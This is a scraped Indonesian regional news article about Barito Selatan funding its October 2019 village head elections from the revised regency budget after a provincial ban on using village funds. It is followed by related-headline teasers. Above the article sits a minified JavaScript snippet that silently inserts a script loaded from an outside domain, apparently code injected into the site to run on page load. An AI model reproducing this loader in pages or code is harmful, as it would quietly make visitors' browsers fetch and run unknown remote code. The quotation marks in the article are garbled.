(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BUNTOK, Terbitnya surat edaran dari Pemerintah Provinsi Kalteng terkait larangan penggunaan dana APBDes untuk penyelenggaraan Pilkades serentak tahun 2019, Pemerintah Kabupaten Barsel berupaya mencari jalan keluar.
Pasalnya, jika hal itu tidak secepatnya ditangani maka pelaksanaan Pilkades serentak di Kabupaten Barsel pada tanggal 3 Oktober mendatang bakal terancam tertunda.
Sekretaris Dinas Sosial Pemberdayaan Masyarakat dan Desa (DSPMD) Barsel Haitami membeberkan, sehubungan dengan adanya surat edaran dari Sekda Kalteng tertanggal 29 Juli 2019, maka sejak tanggal 28 Agustus 2019 anggaran Pilkades yang bersumber dari APBDes dihentikan.
“Dimana sesuai isi dari edaran bahwa dana APBDes tahun 2019 tidak boleh dipakai lagi untuk penyelenggaraan Pilkades serentak tahun 2019 ini,†kata Haitami kepada Kanalkalimantan.com, Selasa (3/9).
Ia mengatakan sebagai ganti pembiayaan Pilkades diselenggarakan dengan menggunakan dana di APBD perubahan Barsel. Sebab dalam Permendagri nomor 65 berbunyi semua biaya Pilkades dibebankan kepada APBD.
“Oleh karena itu sisa dana yang belum terpakai tersebut kita dikembalikan ke desa, dan diganti lewat APBD Perubahan untuk anggaran yang dikembalikan tadi. Sedangkan anggaran untuk Pilkades yang sudah terpakai tidak jadi soal,†jelas Haitami.
Lebih lanjut, DSPMD Barsel melihat jumlah anggaran yang dikeluarkan lewat APBD Perubahan nanti, apakah bisa mencukupi untuk penyelenggaraan Pilkades serentak tersebut.
“Hari ini sudah rangkum laporan sari seluruh bendahara desa terkait laporan keuangan untuk pelaksanaan Pilkades di 6 Kecamatan, yang kita perlukan untuk pelaksanaan Pilkades serentak 2019 ini memerlukan Rp 1.241.690.000 yang nantinya akan kita ajukan,â€Âungkap Haitami.
Ditambahkan olehnya apabila pada 3 Oktober 2019 bisa dilaksanakan dengan ketersediaan dana yang ada, maka Pilkades serentak itu akan dilaksanakan sesuai tanggal ditetapkan.
“Tetapi jika memang dana itu agak terlambat turunnya, otomatis akan kami beritahukan serta diskusikan dengan pihak Pemkab Barsel. Semoga tidak ada penundaan dan dana sudah bisa tersedia sebelum hari pelaksanaan Pilkades,†pungkas Haitami. (digdo)
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More
KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
This website uses cookies.